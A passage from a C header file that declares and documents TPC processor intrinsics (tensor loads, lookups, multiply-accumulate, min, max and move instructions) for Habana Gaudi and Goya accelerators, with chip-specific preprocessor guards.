tensor, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_tnsr_high_vb(int5 ndx, int8_t tensor, int switches, bool256 income, bool256 predicate, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_tnsr_high_b(int5 ndx, int8_t tensor, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ LD_TNSR_LOW\n//\n\n/// @brief Represents LD_TNSR_LOW instruction.\n///\n/// @param ndx Tensor coordinates (SRC1).\n/// @param tensor Tensor number.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The loaded value.\n///\n///\n/// @{\nfloat64 v_f32_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_ld_tnsr_low_b(int5 ndx, const int8_t tensor, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nfloat64 v_f32_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, float64 income, bool64 predicate, bool polarity=0);\nbfloat128 v_bf16_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nint64 v_i32_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_ld_tnsr_low_vb(int5 ndx, int8_t tensor, int switches, bool256 income, bool256 predicate, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_ld_tnsr_low_b(int5 ndx, int8_t tensor, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ LOOKUP\n//\n\n/// @brief Represents LOOKUP instruction.\n///\n/// @param a The offsets from the beginning of the entry (SRC1).\n/// @param fid Describes the function_id being accessed, \\n\n/// and the part in case of a 16 bits operation.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// - [LOOKUP_DT]\n/// \\li SW_BV32\n#if defined(__goya__)\n/// \\li SW_BV16_LOW\n/// \\li SW_BV16_HIGH\n/// \\li SW_BV8_0\n/// \\li SW_BV8_1\n/// \\li SW_BV8_2\n/// \\li SW_BV8_3\n#endif\n///\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li SW_UPPER_HALF - Force lookup in upper half of 64-entries slot.\n#endif\n///\n/// @{\nfloat64 v_f32_lookup(uint64 a, int fid, int switches, float64 income, bool predicate=1, bool polarity=0);\nint64 v_i32_lookup(uint64 a, int fid, int switches, int64 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_lookup(uint64 a, int fid, int switches, uint64 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_lookup(ushort128 a, int fid, int switches, short128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_lookup(ushort128 a, int fid, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_lookup(uchar256 a, int fid, int switches, char256 income, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_lookup(uint64 a, int fid, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\n#endif\n/// @}\n\n\n#if defined(__goya__)\n/// @brief Represents LOOKUP_C0 instruction.\n///\n/// @param a The offsets from the beginning of the entry (SRC1).\n/// @param fid Describes the function_id being accessed, \\n\n/// and the part in case of a 16 bits operation.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// - [LOOKUP_DT]\n/// \\li SW_BV32\n/// \\li SW_BV16_LOW\n/// \\li SW_BV16_HIGH\n/// \\li SW_BV8_0\n/// \\li SW_BV8_1\n/// \\li SW_BV8_2\n/// \\li SW_BV8_3\n///\n#endif\n/// @{\n#if defined(__goya__)\nfloat64 v_f32_lookup_c0(uint64 a, int fid, int switches, float64 income, bool predicate=1, bool polarity=0);\nint64 v_i32_lookup_c0(uint64 a, int fid, int switches, int64 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_lookup_c0(uint64 a, int fid, int switches, uint64 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_lookup_c0(ushort128 a, int fid, int switches, short128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_lookup_c0(ushort128 a, int fid, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_lookup_c0(uchar256 a, int fid, int switches, char256 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__goya__)\n/// @brief Represents LOOKUP_C1C2 instruction.\n///\n/// @param a The offsets from the beginning of the entry (SRC1).\n/// @param fid Describes the function_id being accessed, \\n\n/// and the part in case of a 16 bits operation.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// - [LOOKUP_DT]\n/// \\li SW_BV32\n/// \\li SW_BV16_LOW\n/// \\li SW_BV16_HIGH\n/// \\li SW_BV8_0\n/// \\li SW_BV8_1\n/// \\li SW_BV8_2\n/// \\li SW_BV8_3\n///\n#endif\n/// @{\n#if defined(__goya__)\nfloat128 v_f32_lookup_c1c2(uint64 a, int fid, int switches, float128 income, bool predicate=1, bool polarity=0);\nshort256 v_i16_lookup_c1c2(ushort128 a, int fid, int switches, short256 income, bool predicate=1, bool polarity=0);\nushort256 v_u16_lookup_c1c2(ushort128 a, int fid, int switches, ushort256 income, bool predicate=1, bool polarity=0);\nchar512 v_i8_lookup_c1c2(uchar256 a, int fid, int switches, char512 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents LOOKUP_1C instruction.\n///\n/// @param a The offsets from the beginning of the entry (SRC1).\n/// @param fid Describes the function_id being accessed, \\n\n/// and the part in case of a 16 bits operation.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// - [LOOKUP_DT]\n/// \\li SW_BV32\n/// \\li SW_BV16\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li SW_UPPER_HALF - Force lookup in upper half of 64-entries slot.\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat64 v_f32_lookup_1c(uint64 a, int fid, int switches, float64 income, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_lookup_1c(ushort128 a, int fid, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nint64 v_i32_lookup_1c(uint64 a, int fid, int switches, int64 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_lookup_1c(ushort128 a, int fid, int switches, short128 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_lookup_1c(uint64 a, int fid, int switches, uint64 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_lookup_1c(ushort128 a, int fid, int switches, ushort128 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents LOOKUP_2C instruction.\n///\n/// @param a The offsets from the beginning of the entry (SRC1).\n/// @param fid Describes the function_id being accessed, \\n\n/// and the part in case of a 16 bits operation.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// - [LOOKUP_DT]\n/// \\li SW_BV32\n/// \\li SW_BV16\n#endif\n#if defined(__gaudi_plus__)\n/// \\par\n/// \\li SW_UPPER_HALF - Force lookup in upper half of 64-entries slot.\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat128 v_f32_lookup_2c(uint64 a, int fid, int switches, float128 income, bool predicate=1, bool polarity=0);\nbfloat256 v_bf16_lookup_2c(ushort128 a, int fid, int switches, bfloat256 income, bool predicate=1, bool polarity=0);\nint128 v_i32_lookup_2c(uint64 a, int fid, int switches, int128 income, bool predicate=1, bool polarity=0);\nuint128 v_u32_lookup_2c(uint64 a, int fid, int switches, uint128 income, bool predicate=1, bool polarity=0);\nshort256 v_i16_lookup_2c(ushort128 a, int fid, int switches, short256 income, bool predicate=1, bool polarity=0);\nushort256 v_u16_lookup_2c(ushort128 a, int fid, int switches, ushort256 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ MAC\n//\n\n/// @brief Represents MAC instruction.\n///\n/// @param a The first SRC operand to MAC (SRC1).\n/// @param b The second SRC operand to MAC (SRC2).\n/// @param accumulator DEST operand to MAC.\n/// @param switches Switches of MAC instructions.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Updated value of accumulator \\c acc=acc+(a*b).\n///\n/// \\par Allowed switches are:\n/// \\li SW_SAT - Saturates the result (valid for integer data-types only).\n/// \\li SW_NEG - When set, \\c acc=acc-(a*b)\n#if defined(__gaudi__) || defined(__goya__)\n/// (valid for float data-types only).\n#endif\n///\n/// @{\nfloat s_f32_mac(float a, float b, float accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_mac(bf16 a, bf16 b, bf16 accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i16_mac(int16_t a, int16_t b, int32_t accumulator, int switches=0, bool predicate=1, bool polarity=0);\nuint32_t s_u16_mac(uint16_t a, uint16_t b, uint32_t accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__goya__)\nint32_t s_i8_mac(int8_t a, int8_t b, int32_t accumulator, int switches=0, bool predicate=1, bool polarity=0);\nuint32_t s_u8_mac(uint8_t a, uint8_t b, uint32_t accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nfloat64 v_f32_mac_vb(float64 a, float64 b, float64 accumulator, int switches, bool64 predicate, bool polarity=0);\nfloat64 v_f32_mac_b(float64 a, float64 b, float64 accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_mac_vb(bfloat128 a, bfloat128 b, bfloat128 accumulator, int switches, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_mac_b(bfloat128 a, bfloat128 b, bfloat128 accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#endif\nint128 v_i16_mac_vb(short128 a, short128 b, int128 accumulator, int switches, bool128 predicate, bool polarity=0);\nint128 v_i16_mac_b(short128 a, short128 b, int128 accumulator, int switches=0, bool predicate=1, bool polarity=0);\nuint128 v_u16_mac_vb(ushort128 a, ushort128 b, uint128 accumulator, int switches, bool128 predicate, bool polarity=0);\nuint128 v_u16_mac_b(ushort128 a, ushort128 b, uint128 accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#if defined(__goya__)\nint256 v_i8_mac_vb(char256 a, char256 b, int256 accumulator, int switches, bool256 predicate, bool polarity=0);\nint256 v_i8_mac_b(char256 a, char256 b, int256 accumulator, int switches=0, bool predicate=1, bool polarity=0);\nuint256 v_u8_mac_vb(uchar256 a, uchar256 b, uint256 accumulator, int switches, bool256 predicate, bool polarity=0);\nuint256 v_u8_mac_b(uchar256 a, uchar256 b, uint256 accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents MAC instruction with ACC_F32 switch (32-bit accumulator).\n///\n/// @param a The first SRC operand to MAC (SRC1).\n/// @param b The second SRC operand to MAC (SRC2).\n/// @param accumulator DEST operand to MAC.\n/// @param switches Switches of MAC instructions.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Updated value of accumulator \\c acc=acc+(a*b).\n///\n/// \\par Allowed switches are:\n/// \\li SW_NEG - When set, \\c acc=acc-(a*b)\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat s_bf16_mac_acc32(bf16 a, bf16 b, float accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nfloat128 v_bf16_mac_acc32_vb(bfloat128 a, bfloat128 b, float128 accumulator, int switches, bool128 predicate, bool polarity=0);\nfloat128 v_bf16_mac_acc32_b(bfloat128 a, bfloat128 b, float128 accumulator, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ MAX\n//\n\n/// @brief Represents MAX instruction.\n///\n/// @param a The first SRC operand to MAX (SRC1).\n/// @param b The second SRC operand to MAX (SRC2).\n/// @param switches Switches of MAX instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_max(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_max(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_max(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_max(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_max(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_max(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_max(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_max(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_max_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_max_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_max_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_max_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_max_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_max_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_max_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_max_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_max_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_max_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_max_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_max_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_max_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_max_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_max_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_max_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n/// @brief Represents scalar MAX instruction for integer operands in index registers.\n///\n/// @param a The first SRC operand to MAX (SRC1).\n/// @param b The second SRC operand to MAX (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of MAX instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint5 i_i32_max(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ MIN\n//\n\n/// @brief Represents MIN instruction.\n///\n/// @param a The first SRC operand to MIN (SRC1).\n/// @param b The second SRC operand to MIN (SRC2).\n/// @param switches Switches of MIN instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_min(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_min(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_min(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_min(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_min(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_min(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_min(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_min(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_min_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_min_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_min_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_min_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_min_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_min_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_min_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_min_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_min_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_min_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_min_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_min_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_min_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_min_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_min_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_min_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n/// @brief Represents scalar MIN instruction for integer operands in index registers.\n///\n/// @param a The first SRC operand to MIN (SRC1).\n/// @param b The second SRC operand to MIN (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of MIN instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint5 i_i32_min(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ MOV\n//\n\n/// @brief Represents MOV instruction.\n///\n/// @param a Source (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation - move \\p a to DEST.\n///\n/// @{\nfloat s_f32_mov(float a, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_mov(bf16 a, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_mov(int32_t a, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_mov(uint32_t a, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_mov(int16_t a, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_mov(uint16_t a, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_mov(int8_t a, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_mov(uint8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_mov(bool a, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_mov_vb(float64 a, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_mov_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nint64 v_i32_mov_vb(int64 a, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_mov_vb(uint64 a, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_mov_vb(short128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_mov_vb(ushort128 a, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_mov_vb(char256 a, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_mov_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_mov_vb(bool256 a, int switches, bool256 income, bool256 predicate, bool polarity=0);\nfloat64 v_f32_mov_b(float64 a, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_mov_b(bfloat128 a, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_mov_b(int64 a, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_mov_b(uint64 a, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_mov_b(short128 a, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_mov_b(ushort128 a, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_mov_b(char256 a, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_mov_b(uchar256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_mov_b(bool256 a, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n/// @brief Represents MOV instruction for int5 type.\n///\n/// @param a Source (SRC1).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation - move \\p a to DEST.\n///\n/// @{\nint5 i_i32_mov(int5 a, int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n/// @brief Represents MOV instruction with argument FLAVOR.\n///\n/// @param a Source (SRC1).\n/// @param flavor Selects section of VPRF participated in the operation [0-8]. \\n\n/// 0-7 map to 8 VPRF sections, when \\p flavor is set to 8 - mov to all 8 sections.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation - move \\p a to one or all 8 sections of DEST.\n///\n/// @{\nbool256 v_i1_mov_flavor_b(int32_t a, const int flavor, int switches, bool256 income, bool predicate=1, bool polarity=0);\nbool256 v_i1_mov_flavor_vb(int32_t a, const int flavor, int switches, bool256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represent MOV SPRF to VPRF instruction.\n///\n/// @param a Source (SRC1).\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation - broadcast \\p a to DEST.\n///\n/// @{\nbool256 v_i1_mov_i1_b(bool a, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_mov_i1_vb(bool a, int switches, bool256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents MOV_DUAL_GROUP instruction.\n///\n/// @param a Source (SRC1).\n/// @param b Byte write mask. \n/// @param src_dg Source dual group {0, 1, 2, 3}.\n/// @param dest_dg Destination dual group {0, 1, 2, 3}.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// \\li SW_WR_LOWER_GROUP\n/// \\li SW_WR_UPPER_GROUP\n///\n/// @{\nfloat64 v_f32_mov_dual_group_vb(float64 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_mov_dual_group_b(float64 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, float64 income, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_mov_dual_group_vb(bfloat128 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_mov_dual_group_b(bfloat128 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_mov_dual_group_vb(int64 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_mov_dual_group_b(int64 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, int64 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_mov_dual_group_vb(uint64 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_mov_dual_group_b(uint64 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, uint64 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_mov_dual_group_vb(short128 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_mov_dual_group_b(short128 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, short128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_mov_dual_group_vb(ushort128 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_mov_dual_group_b(ushort128 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_mov_dual_group_vb(char256 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_mov_dual_group_b(char256 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, char256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_mov_dual_group_vb(uchar256 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_mov_dual_group_b(uchar256 a, const uint32_t b, const int src_dg, const int dest_dg, int switches, uchar256 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents MOV_DUAL_GROUP instruction with ALL switch.\n///\n/// @param a Source (SRC1).\n/// @param b Byte write mask.\n/// @param sdg0 Source dual group 0 {0, 1, 2, 3}.\n/// @param 